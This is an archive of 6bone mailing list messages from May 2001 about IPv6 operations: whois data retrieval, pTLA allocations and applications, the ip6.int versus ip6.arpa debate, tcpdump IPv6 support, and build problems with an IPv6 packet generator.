cc: <6bone@ISI.EDU>
Subject: Re: whois: getting all "application" line
In-Reply-To: <1191.990195602@itojun.org>
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How about fetching the entire whois data file and "greping" what you need
?  The file format is ascii:

ftp://whois.6bone.net/6bone/6bone.db.gz

Florent

On Fri, 18 May 2001 itojun@iijlab.net wrote:

> 	hi, i'm thinking of configuring a box, which monitors IPv6 reachability
> 	from my IPv6 network to other IPv6 networks.  6bone whois has
> 	"appliation" lines, which invies us to ping remote network.
>
> >application:  ping sh1.iijlab.net
>
> 	are there a good way to query all the entries on 6bone whois database?
> 	if i can collect all the application lines, i can automate the
> 	process...
>
> itojun
>

-- 
Florent Parent
Viagénie inc.  http://www.viagenie.qc.ca
+1.418.656.9254


From 6bone-owner  Fri May 18 09:45:13 2001
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Date: Fri, 18 May 2001 13:44:58 -0300
From: horape@tinuviel.compendium.net.ar
To: itojun@iijlab.net
Cc: 6bone@ISI.EDU
Subject: Re: whois: getting all "application" line
Message-ID: <20010518134458.E15737@tinuviel.compendium.net.ar>
References: <1191.990195602@itojun.org>
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rm 6bone.db.gz
wget ftp://whois.6bone.net/6bone/6bone.db.gz
zgrep application 6bone.db.gz | whatever you want to do

On Fri, May 18, 2001 at 11:20:02PM +0900, itojun@iijlab.net wrote:
> 	hi, i'm thinking of configuring a box, which monitors IPv6 reachability
> 	from my IPv6 network to other IPv6 networks.  6bone whois has
> 	"appliation" lines, which invies us to ping remote network.
> 
> >application:  ping sh1.iijlab.net
> 
> 	are there a good way to query all the entries on 6bone whois database?
> 	if i can collect all the application lines, i can automate the
> 	process...
> 
> itojun

-- 
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Fri May 18 09:46:59 2001
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To: 6bone@ISI.EDU
In-reply-to: Florent.Parent's message of Fri, 18 May 2001 12:29:34 -0400.
      <Pine.BSF.4.33.0105181227190.817-100000@blues.viagenie.qc.ca> 
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Subject: Re: whois: getting all "application" line 
From: itojun@iijlab.net
Date: Sat, 19 May 2001 01:46:58 +0900
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>How about fetching the entire whois data file and "greping" what you need
>?  The file format is ascii:
>ftp://whois.6bone.net/6bone/6bone.db.gz

	oh, good to know, thanks!

itojun

From 6bone-owner  Fri May 18 10:48:32 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: <itojun@iijlab.net>
cc: <6bone@ISI.EDU>
Subject: Re: whois: getting all "application" line
In-Reply-To: <1191.990195602@itojun.org>
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On Fri, 18 May 2001 itojun@iijlab.net wrote:
> 	hi, i'm thinking of configuring a box, which monitors IPv6 reachability
> 	from my IPv6 network to other IPv6 networks.  6bone whois has
> 	"appliation" lines, which invies us to ping remote network.
>
> >application:  ping sh1.iijlab.net
>
> 	are there a good way to query all the entries on 6bone whois database?
> 	if i can collect all the application lines, i can automate the
> 	process...

There is a gzipped database at ftp://whois.6bone.net/6bone/, updated once
a day I think.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Tue May 22 04:56:54 2001
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From: Amit Schnitzer <Amit.Schnitzer@orange.co.il>
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Subject: Several begginers questions
Date: Tue, 22 May 2001 14:47:27 +0200
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Hi,
I'm trying to figure out how to connect my organization to the 6bone
project.
My problem is that I am located in Israel and as far as I understand no
organization from Israel has yet filed a request to register as a  pTLA.
Does anybody know of such organization ? can you think of an alternative
pTLA that we can connect to  (who's the preferred from our point of view ?)?
In addition, I am trying to figure out all the implications that might rise
as a result of connecting to the 6bone project:
Financial implications - equipment, manpower, registration fees and etc.
Time implications - registration period, project participation period and
etc.
I'll be happy If you have any information regarding the above.

Thanks in advance,




                   Amit Schnitzer 
          Network and Security team
    Partner Communications Company Ltd.



From 6bone-owner  Tue May 22 10:07:00 2001
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Date: Tue, 22 May 2001 10:06:22 -0700
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From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:81F0::/28 allocated to CYBERNET
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CYBERNET has been allocated pTLA 3FFE:81F0::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?CYBERNET>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>


Thanks,

Bob


From 6bone-owner  Tue May 22 10:07:01 2001
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Date: Tue, 22 May 2001 10:06:28 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8200::/28 allocated to FBDC
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FBDC has been allocated pTLA 3FFE:8200::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?FBDC>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


Thanks,

Bob


From 6bone-owner  Wed May 23 04:16:57 2001
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Subject: Re: ip6.arpa 
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Thanks to everyone who contributed quite a bit of interesting and
enlightening discussion to the original query.

But I'm not sure we actually got to finding out where the buck has
stopped.  There must be someone somewhere who is not getting on with
what needs to be done, and I for one would like to lobby them...

Peter.



From 6bone-owner  Wed May 23 07:50:40 2001
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Subject: Re: ip6.arpa
To: psb@ast.cam.ac.uk (Peter Bunclark)
Date: Wed, 23 May 2001 07:50:43 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <Pine.GSO.4.33.0105231214590.16281-100000@cass18> from "Peter Bunclark" at May 23, 2001 12:17:04 PM
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% 
% Thanks to everyone who contributed quite a bit of interesting and
% enlightening discussion to the original query.
% 
% But I'm not sure we actually got to finding out where the buck has
% stopped.  There must be someone somewhere who is not getting on with
% what needs to be done, and I for one would like to lobby them...
% 
% Peter.

	The move has no technological basis. The RR type that 
	suggested the migration is itself under review. Why
	the rush?

--bill

From 6bone-owner  Wed May 23 07:50:42 2001
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	Wed, 23 May 2001 21:52:01 +0700 (ICT)
From: Robert Elz <kre@munnari.OZ.AU>
To: Peter Bunclark <psb@ast.cam.ac.uk>
cc: 6bone@ISI.EDU
Subject: Re: ip6.arpa 
In-Reply-To: <Pine.GSO.4.33.0105231214590.16281-100000@cass18> 
References: <Pine.GSO.4.33.0105231214590.16281-100000@cass18> 
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    Date:        Wed, 23 May 2001 12:17:04 +0100 (BST)
    From:        Peter Bunclark <psb@ast.cam.ac.uk>
    Message-ID:  <Pine.GSO.4.33.0105231214590.16281-100000@cass18>

  | But I'm not sure we actually got to finding out where the buck has
  | stopped.  There must be someone somewhere who is not getting on with
  | what needs to be done, and I for one would like to lobby them...

The latest IAB "management of the .arpa domain" draft says that it is
the IAB's responsibility - and expressly says that ip6.arpa exists (or
should).  So...

See draft-iab-arpa-02.txt

kre


From 6bone-owner  Wed May 23 08:19:14 2001
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On Wed, 23 May 2001, Bill Manning wrote:

> %
> % Thanks to everyone who contributed quite a bit of interesting and
> % enlightening discussion to the original query.
> %
> % But I'm not sure we actually got to finding out where the buck has
> % stopped.  There must be someone somewhere who is not getting on with
> % what needs to be done, and I for one would like to lobby them...
> %
> % Peter.
>
> 	The move has no technological basis. The RR type that
> 	suggested the migration is itself under review. Why
> 	the rush?
>
> --bill
>
I refer you to the discussion on this mailing list previously which
covered these points.

I'd point out that there's considerable anti-IPv6 feeling out there - some
of it expressed on the tcp/ip newsgroup over the last day.  Having IPv6
documentation which conflicts with reality is terribly counter productive
and will harm the take up and credibility of IPv6.


Pete.


From 6bone-owner  Wed May 23 09:18:50 2001
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To: Bill Manning <bmanning@ISI.EDU>, Peter Bunclark <psb@ast.cam.ac.uk>
Cc: 6bone@ISI.EDU
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: ip6.arpa 
In-reply-to: Your message of Wed, 23 May 2001 16:19:18 BST.
             <Pine.GSO.4.33.0105231610390.16883-100000@cass18> 
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> > 	The move has no technological basis. The RR type that
> > 	suggested the migration is itself under review. Why
> > 	the rush?

It was not any RR type that suggested the migration from ip6.int to
ip6.arpa, Bill.  Were you under some other impression?


From 6bone-owner  Wed May 23 09:39:13 2001
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Subject: Re: ip6.arpa
To: crawdad@fnal.gov (Matt Crawford)
Date: Wed, 23 May 2001 09:39:17 -0700 (PDT)
Cc: bmanning@ISI.EDU (Bill Manning), psb@ast.cam.ac.uk (Peter Bunclark),
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% 
% > > 	The move has no technological basis. The RR type that
% > > 	suggested the migration is itself under review. Why
% > > 	the rush?
% 
% It was not any RR type that suggested the migration from ip6.int to
% ip6.arpa, Bill.  Were you under some other impression?

	Yes.  

-- 
--bill

From 6bone-owner  Wed May 23 10:25:37 2001
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone Mail List" <6bone@ISI.EDU>
Cc: <drwho8@att.net>
Subject: Patching tcpdump for IPv6 packets
Date: Wed, 23 May 2001 13:26:46 -0400
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Hello from Gregg C Levine normally with Jedi Knight Computers
Can someone please describe the process involved with patching tcpdump
for processing IPv6 packets? I seem to recall that the program came
preconfigured to manage all of the currently used Internet protocols,
except IPv6. For clarification, this is running on a Slackware 7.2
distribution.
-------------------
Gregg C Levine mailto:hansolofalcon@att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi (Perhaps
one of the most powerful of all of the Jedi Knights))
(This company dedicates this E-Mail to Master Yoda
(Perhaps the other one of the most powerful of all of the Jedi
Knights))
And the favorite line by Anonymous "May the Force be with you."


From 6bone-owner  Wed May 23 14:19:54 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: Gregg C Levine <hansolofalcon@worldnet.att.net>
cc: 6bone Mail List <6bone@ISI.EDU>, <drwho8@att.net>
Subject: Re: Patching tcpdump for IPv6 packets
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On Wed, 23 May 2001, Gregg C Levine wrote:

> Hello from Gregg C Levine normally with Jedi Knight Computers
> Can someone please describe the process involved with patching tcpdump
> for processing IPv6 packets? I seem to recall that the program came
> preconfigured to manage all of the currently used Internet protocols,
> except IPv6. For clarification, this is running on a Slackware 7.2
> distribution.

Get tcpdump 3.6.2 from www.tcpdump.org, it can do IPv6 just fine.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Wed May 23 16:42:15 2001
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Date: Thu, 24 May 2001 01:42:16 +0200
From: Pelle Johansson <peljo105@student.liu.se>
Subject: Re: Patching tcpdump for IPv6 packets
In-reply-to: <CMEJIBBFMDBIJJMCINJOGEDEDIAA.hansolofalcon@worldnet.att.net>
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On Wednesday, May 23, 2001, at 07:26 PM, Gregg C Levine wrote:

> Hello from Gregg C Levine normally with Jedi Knight Computers
> Can someone please describe the process involved with patching tcpdump
> for processing IPv6 packets? I seem to recall that the program came
> preconfigured to manage all of the currently used Internet protocols,
> except IPv6. For clarification, this is running on a Slackware 7.2
> distribution.

libpcap and tcpdump with ipv6 support are available at:

ftp://ftp.inria.fr/network/ipv6/libpcap-0.4+.tar.gz
ftp://ftp.inria.fr/network/ipv6/tcpdump-3.4+.tar.gz

You'll need the first to compile the second (don't forget to do make 
install-incl in pcap).
--
Pelle Johansson
<peljo105@student.liu.se>

From 6bone-owner  Thu May 24 01:41:39 2001
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To: Bill Manning <bmanning@ISI.EDU>
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        6bone@ISI.EDU
Subject: Re: ip6.arpa 
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    Date:        Wed, 23 May 2001 09:39:17 -0700 (PDT)
    From:        Bill Manning <bmanning@ISI.EDU>
    Message-ID:  <200105231639.f4NGdHB07045@zed.isi.edu>

  | % It was not any RR type that suggested the migration from ip6.int to
  | % ip6.arpa, Bill.  Were you under some other impression?
  | 
  | 	Yes.  

Then you're mistaken.  It was the IAB/IESG that wanted this change.
Even if we keep to PTR records, they will want to move them to ip6.arpa

The only reason that didn't happen (yet) was the impression that moving
them might be a waste of time, because they are (according to the current
plan anyway) to be phased out (for IPv6 reverse resolution).   If that
turns out not to happen, then the PTR records will move too.

The use of .INT as a place to "stick stuff" is deprecated.  That's .arpa
now after all, the "Address and Routing Parameter Area" domain..

kre



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remove

--
Roberto RECCHIA
Telecommunication Services

CSP s.c. a r.l.
_______________________________________________
Via Livorno, 60 - 10144 Torino [IT]
Roberto.Recchia@csp.it
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From 6bone-owner  Sat May 26 11:51:12 2001
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Date: Sat, 26 May 2001 10:46:32 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for DREN (www.v6.dren.net) - review closes 9 June
  2001
Cc: "Ron Broersma" <ron@spawar.navy.mil>
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6bone Folk,

DREN (the Defense Research and Engineering Network) (www.v6.dren.net) has 
requested a pTLA allocation. This is a slightly different situation in that 
DREN has established their peerings using a 6to4 peering, though otherwise 
they are normal BGP4+ peerings. I asked Ron Broersma of DREN to explain a 
little bit about this and about DREN in addition to their application. I've 
included this below.

The open review period for this will close 9 June 2001. Please send your 
comments to me or the list.


Thanks,

Bob

===

>Date: Fri, 25 May 2001 09:02:58 -0700
>From: "Ron Broersma" <ron@spawar.navy.mil>
>To: Bob Fink <fink@es.net>
>Subject: Re: pTLA request for DREN
>
>Bob,
>
>In response to your questions.
>
>DREN is the Defense Research and Engineering Network.   It is the network that
>provides network services and connectivity to the DoD research and engineering
>communities, including 70 large DoD installations, and also services various
>consortium networks and other federal network communities.  DREN operates 
>a native
>IPv6 network as one of its services.
>
>DREN is using a 6to4 prefix because this allowed us to not only test the 6to4
>mechanisms on a wide area network, but also allowed the network to be 
>immediately
>operational when it was initially installed, while waiting for a more 
>permanent
>address allocation.  We still established BGP4+ peering sessions with 
>other ISPs
>either natively or via tunnels over IPv4, receive full routing from multiple
>sources, operate default-free, run a full-mesh I-BGP internally, and 
>announce our
>prefix to the E-BGP peers for distribution within their own AS.  The only 
>negative
>is the non-optimal routing on the return path for nets you don't peer with
>directly, but that's OK for a temporary solution.
>
>--Ron
> > At 12:35 AM 5/24/2001 -0700, Ron Broersma wrote:
> > >   1. The pTLA Applicant must have a minimum of three (3) months
> > >       qualifying experience as a 6Bone end-site or pNLA transit.  During
> > >
> > >       the entire qualifying period the Applicant must be operationally
> > >       providing the following:
> > >
> > >       This pTLA request is for a new backbone that went operational
> > >       in February.
> > >
> > >       a. Fully maintained, up to date, 6Bone Registry entries for their
> > >          ipv6-site inet6num, mntner, and person objects, including each
> > >          tunnel that the Applicant has.
> > >
> > >          ipv6-site:     DREN
> > >          inet6num:      2002:8031:C003::/48
> > >          mntner:        MNT-DREN
> > >          persons - RLB1-6BONE, TGK7, RAM1-6BONE
> > >          tunnels are registered in ipv6-site object.
> > >
> > >       b. Fully maintained, and reliable, BGP4+ peering and connectivity
> > >          between the Applicant's boundary router and the appropriate
> > >          connection point into the 6Bone. This router must be IPv6
> > >          pingable. This criteria is judged by members of the 6Bone
> > >          Operations Group at the time of the Applicant's pTLA request.
> > >
> > >          Example:  nrl-dc.v6.dren.net -> sl-bb1-6bone.sprintlink.net
> > >                    This router: 3FFE:2900:B:8::2
> > >
> > >       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> > >          entries for the Applicant's router(s) and at least one host
> > >          system.
> > >
> > >          All routers (including every IPv6 interface) are registered in
> > >          both directions. Examples for verification:
> > >                 router: sscsd.v6.dren.net
> > >                 host:   www.v6.dren.net
> > >
> > >       d. A fully maintained, and reliable, IPv6-accessible system
> > >          providing, at a mimimum, one or more web pages, describing the
> > >          Applicant's IPv6 services.  This server must be IPv6 pingable.
> > >
> > >          www.v6.dren.net
> > >
> > >    2. The pTLA Applicant MUST have the ability and intent to provide
> > >       "production-quality" 6Bone backbone service. Applicants must
> > >       provide a statement and information in support of this claim.
> > >       This MUST include the following:
> > >
> > >       a. A support staff of two persons minimum, three preferable, with
> > >          person attributes registered for each in the ipv6-site object
> > >          for the pTLA applicant.
> > >
> > >          RLB1-6BONE
> > >          TGK7
> > >          RAM1-6BONE
> > >
> > >       b. A common mailbox for support contact purposes that all support
> > >          staff have acess to, pointed to with a notify attribute in the
> > >          ipv6-site object for the pTLA Applicant.
> > >
> > >          noc@v6.dren.net
> > >
> > >    3. The pTLA Applicant MUST have a potential "user community" that
> > >       would be served by its becoming a pTLA, e.g., the Applicant is a
> > >       major provider of Internet service in a region, country, or focus
> > >       of interest. Applicant must provide a statement and information in
> > >
> > >       support this claim.
> > >
> > >       DREN is already an established ISP for the DoD research community.
> > >
> > >       The pTLA would service this community, as well as other existing
> > >       subscribers.
> > >
> > >    4. The pTLA Applicant MUST commit to abide by the current 6Bone
> > >       operational rules and policies as they exist at time of its
> > >       application, and agree to abide by future 6Bone backbone
> > >       operational rules and policies as they evolve by consensus of the
> > >       6Bone backbone and user community.
> > >
> > >       Concur.
-end


From 6bone-owner  Sat May 26 11:51:27 2001
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Date: Sat, 26 May 2001 10:53:05 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for INTEC (www.v6.intec.co.jp) - review closes 9
  June 2001
Cc: Tomohiko Kusuda <kusuda@isl.intec.co.jp>
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6bone Folk,

INTEC (www.v6.intec.co.jp) has requested a pTLA allocation. The open review 
period for this will close 9 June 2001. Please send your comments to me or 
the list.


Thanks,

Bob

===
>From: Tomohiko Kusuda <kusuda@isl.intec.co.jp>
>Subject: pTLA request
>To: fink@es.net
>Cc: info@v6.intec.co.jp
>Date: Thu, 24 May 2001 16:44:41 +0900
>
>Dear Bob,
>
>We want to provide IPv6 connectivity to regional users.
>Please allocate us 6Bone pTLA addresses.
>
>7. Guidelines for 6Bone pTLA sites
>
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>We have experimented with IPv6 as 6Bone pNLA since 1998.
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>inet6num:     3FFE:1800:2040::/48
>netname:      INTEC
>descr:        SLA delegation for the NTT-ECL
>country:      JP
>admin-c:      NO2-6BONE
>tech-c:       NO2-6BONE
>remarks:      This object is automatically converted from the RIPE181 registry
>mnt-by:       NTT-ECL-MNT
>changed:      nin@slab.ntt.co.jp 19990825
>changed:      auto-dbm@whois.6bone.net 20010117
>source:       6BONE
>
>ipv6-site:    INTEC
>origin:       AS9612
>descr:        INTEC
>country:      JP
>prefix:       3FFE:508::/32
>prefix:       3FFE:1CFA::/32
>prefix:       3FFE:1800:2040::/48
>application:  ping knight.v6.intec.co.jp
>application:  http www.v6.intec.co.jp
>contact:      TK4-6BONE
>contact:      YK60-AP
>notify:       info@v6.intec.co.jp
>mnt-by:       MAINT-JP-INTEC
>changed:      kusuda@isl.intec.co.jp 20010507
>changed:      kusuda@isl.intec.co.jp 20010522
>changed:      kusuda@isl.intec.co.jp 20010524
>source:       6BONE
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>Our router(knight.v6.intec.co.jp) connect natively with 
>pc6.otemachi.wide.ad.jp
>using BGP4+ at NSPIXP6.
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>Our name server is pawn.v6.intec.co.jp.
>
># host -t aaaa pawn.v6.intec.co.jp pawn.v6.intec.co.jp
>Using domain server:
>Name: pawn.v6.intec.co.jp
>Address: 2001:200:500:1800:200:f8ff:fe01:6ab8#53
>Aliases:
>
>pawn.v6.intec.co.jp. has AAAA address 2001:200:500:1800:200:f8ff:fe01:6ab8
>
># host -n 2001:200:500:1800:200:f8ff:fe01:6ab8 pawn.v6.intec.co.jp
>Using domain server:
>Name: pawn.v6.intec.co.jp
>Address: 2001:200:500:1800:200:f8ff:fe01:6ab8#53
>Aliases:
>
>8.b.a.6.1.0.e.f.f.f.8.f.0.0.2.0.0.0.8.1.0.0.5.0.0.0.2.0.1.0.0.2.ip6.int. 
>domain name pointer pawn.v6.intec.co.jp.
>
># host -t aaaa knight.v6.intec.co.jp pawn.v6.intec.co.jp
>Using domain server:
>Name: pawn.v6.intec.co.jp
>Address: 2001:200:500:1800:200:f8ff:fe01:6ab8#53
>Aliases:
>
>knight.v6.intec.co.jp. has AAAA address 2001:200:500:1800:2a0:c9ff:fea6:7add
>
># host -n 2001:200:500:1800:2a0:c9ff:fea6:7add pawn.v6.intec.co.jp
>Using domain server:
>Name: pawn.v6.intec.co.jp
>Address: 2001:200:500:1800:200:f8ff:fe01:6ab8#53
>Aliases:
>
>d.d.a.7.6.a.e.f.f.f.9.c.0.a.2.0.0.0.8.1.0.0.5.0.0.0.2.0.1.0.0.2.ip6.int. 
>domain name pointer knight.v6.intec.co.jp.
>
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>http://www.v6.intec.co.jp
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>contact:      TK4-6BONE
>contact:      YK60-AP
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>notify:       info@v6.intec.co.jp
>
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>We provide IPv6 connectibity to users in regional area Toyama,
>Japan. Both individual and organization customers are already
>using our network to access 6bone or other IPv6 resources.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>Yes, We commit and agree.
>
>--------
>Tomohiko Kusuda(kusuda@isl.intec.co.jp)
>INTEC Web and Genome Informatics Corporation
-end


From 6bone-owner  Mon May 28 12:02:04 2001
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From: "marcelo" <marcelo@it.uc3m.es>
To: "John M Cole" <jmcole@lucent.com>, <6bone@ISI.EDU>
Cc: <alberto@it.uc3m.es>
Subject: RE: Packet Generators
Date: Mon, 28 May 2001 21:03:02 +0200
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Hi,
At Universidad Carlos 3, in LONG project framework, we have migrated MGEN
application to IPv6 so it can generate and receive all kind of IPv6 packets
(including Hop by Hop options, routing header and destination options).
You can find the application at http://www.it.uc3m.es/~alberto/mgen6/
More information about our project can be found at
http://long.ccaba.upc.es/.
We hope you find it usefull, and if you need further information please
contact us.

marcelo

PS: sorry about the delay but we were considering license issues
  -----Mensaje original-----
  De: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]En nombre de John M
Cole
  Enviado el: miércoles, 09 de mayo de 2001 16:06
  Para: 6bone@ISI.EDU
  Asunto: Packet Generators


  Apart from Agilent, who haven't yet released a V6 version, does anyone
know of a Packet generator and receiver test suite, for IPv6?  I am looking
at testing some hardware/software (Routers) and require statistics on IP
traffic.

  Regards

  John

------=_NextPart_000_000D_01C0E7B9.94FE1760
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	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D562195118-28052001>Hi,</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D562195118-28052001>At=20
Universidad Carlos 3, in LONG project framework, we have migrated MGEN=20
application to IPv6 so it can generate and receive all kind of IPv6 =
packets=20
(including Hop by Hop options, routing header and destination=20
options).</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D562195118-28052001>You=20
can find the application at <FONT size=3D2><A=20
href=3D"http://www.it.uc3m.es/~alberto/mgen6/">http://www.it.uc3m.es/~alb=
erto/mgen6/</A></FONT>=20
</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D562195118-28052001>More=20
information about our project can be found at&nbsp;<A=20
href=3D"http://long.ccaba.upc.es/">http://long.ccaba.upc.es/</A>.</SPAN><=
/FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D562195118-28052001>We=20
hope you find it usefull, and if you need further information please =
contact=20
us.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D562195118-28052001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D562195118-28052001>marcelo </SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D562195118-28052001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D562195118-28052001>PS:=20
sorry about the delay but we were considering license =
issues</SPAN></FONT></DIV>
<BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px">
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
  size=3D2>-----Mensaje original-----<BR><B>De:</B> owner-6bone@ISI.EDU=20
  [mailto:owner-6bone@ISI.EDU]<B>En nombre de </B>John M =
Cole<BR><B>Enviado=20
  el:</B> mi=E9rcoles, 09 de mayo de 2001 16:06<BR><B>Para:</B>=20
  6bone@ISI.EDU<BR><B>Asunto:</B> Packet Generators<BR><BR></DIV></FONT>
  <DIV><FONT face=3DArial size=3D2>Apart from Agilent, who haven't yet =
released a V6=20
  version, does anyone know of a Packet generator and receiver&nbsp;test =
suite,=20
  for IPv6?&nbsp; I am looking at testing some hardware/software =
(Routers) and=20
  require statistics on IP traffic.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>Regards</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial =
size=3D2>John</FONT></DIV></BLOCKQUOTE></BODY></HTML>

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From 6bone-owner  Mon May 28 22:22:10 2001
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      <1191.990195602@itojun.org> 
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Subject: Re: whois: getting all "application" line 
From: itojun@iijlab.net
Date: Tue, 29 May 2001 14:22:16 +0900
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>	hi, i'm thinking of configuring a box, which monitors IPv6 reachability
>	from my IPv6 network to other IPv6 networks.  6bone whois has
>	"appliation" lines, which invies us to ping remote network.
>
>>application:  ping sh1.iijlab.net

	are there anyone maintain such list for sTLAs?
	i queried APNIC registry and it seems that these "application" lines
	are not a requiremnt (or not a common practice).  or if someone could
	suggest a good tool/existing webpage, it would be very nice.  thanks.

itojun

From 6bone-owner  Tue May 29 09:05:34 2001
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From: "M. en C. Gabriela Campos" <gcampos@campus.cem.itesm.mx>
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fn:M. en C. Gabriela Campos
end:vcard

--------------D66E86837B14FB5FC5472BBE--


From 6bone-owner  Wed May 30 02:54:39 2001
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	Wed, 30 May 2001 13:54:36 +0400 (MSK)
Date: Wed, 30 May 2001 13:54:36 +0400 (MSK)
From: Grigory Kljuchnikov <grn@ispras.ru>
To: marcelo <marcelo@it.uc3m.es>
cc: John M Cole <jmcole@lucent.com>, <6bone@ISI.EDU>, <alberto@it.uc3m.es>
Subject: RE: Packet Generators
In-Reply-To: <OLEPJGOIGDAKFMFEFDONCEMKCAAA.marcelo@it.uc3m.es>
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On Mon, 28 May 2001, marcelo wrote:

> Hi,
> At Universidad Carlos 3, in LONG project framework, we have migrated MGEN
> application to IPv6 so it can generate and receive all kind of IPv6 packets
> (including Hop by Hop options, routing header and destination options).
> You can find the application at http://www.it.uc3m.es/~alberto/mgen6/
> More information about our project can be found at
> http://long.ccaba.upc.es/.
> We hope you find it usefull, and if you need further information please
> contact us.
>
> marcelo
>

Hello,

I've tried to make mgen6 on FreeBSD 4.1 and have errors:

$ make
gcc -O -D_FREEBSD -g -D_GUI -IFreeBSD/X11R6/LessTif/Motif2.0/include
-I/usr/X11R6/include
 -c mgen.c
mgen.c: In function `SendOptionHeader':
mgen.c:122: `IP6OPT_BINDING_UPDATE' undeclared (first use in this function)
mgen.c:122: (Each undeclared identifier is reported only once
mgen.c:122: for each function it appears in.)
mgen.c:125: `IP6OPT_BINDING_ACK' undeclared (first use in this function)
mgen.c: In function `InsertExtensionHeader':
mgen.c:1071: `IP6OPT_ROUTER_ALERT' undeclared (first use in this function)
mgen.c:1077: `IP6_ALERT_AN' undeclared (first use in this function)
mgen.c:1116: `IP6OPT_HOME_ADDRESS' undeclared (first use in this function)
mgen.c:1129: `IP6OPT_BINDING_UPDATE' undeclared (first use in this function)
mgen.c:1136: `IP6_BUF_HOME' undeclared (first use in this function)
mgen.c:1148: `IP6OPT_BINDING_ACK' undeclared (first use in this function)
mgen.c:1164: `IP6OPT_BINDING_REQ' undeclared (first use in this function)
mgen.c: In function `LoadScript':
mgen.c:1337: `IP6OPT_ROUTER_ALERT' undeclared (first use in this function)
mgen.c:1343: `IP6OPT_HOME_ADDRESS' undeclared (first use in this function)
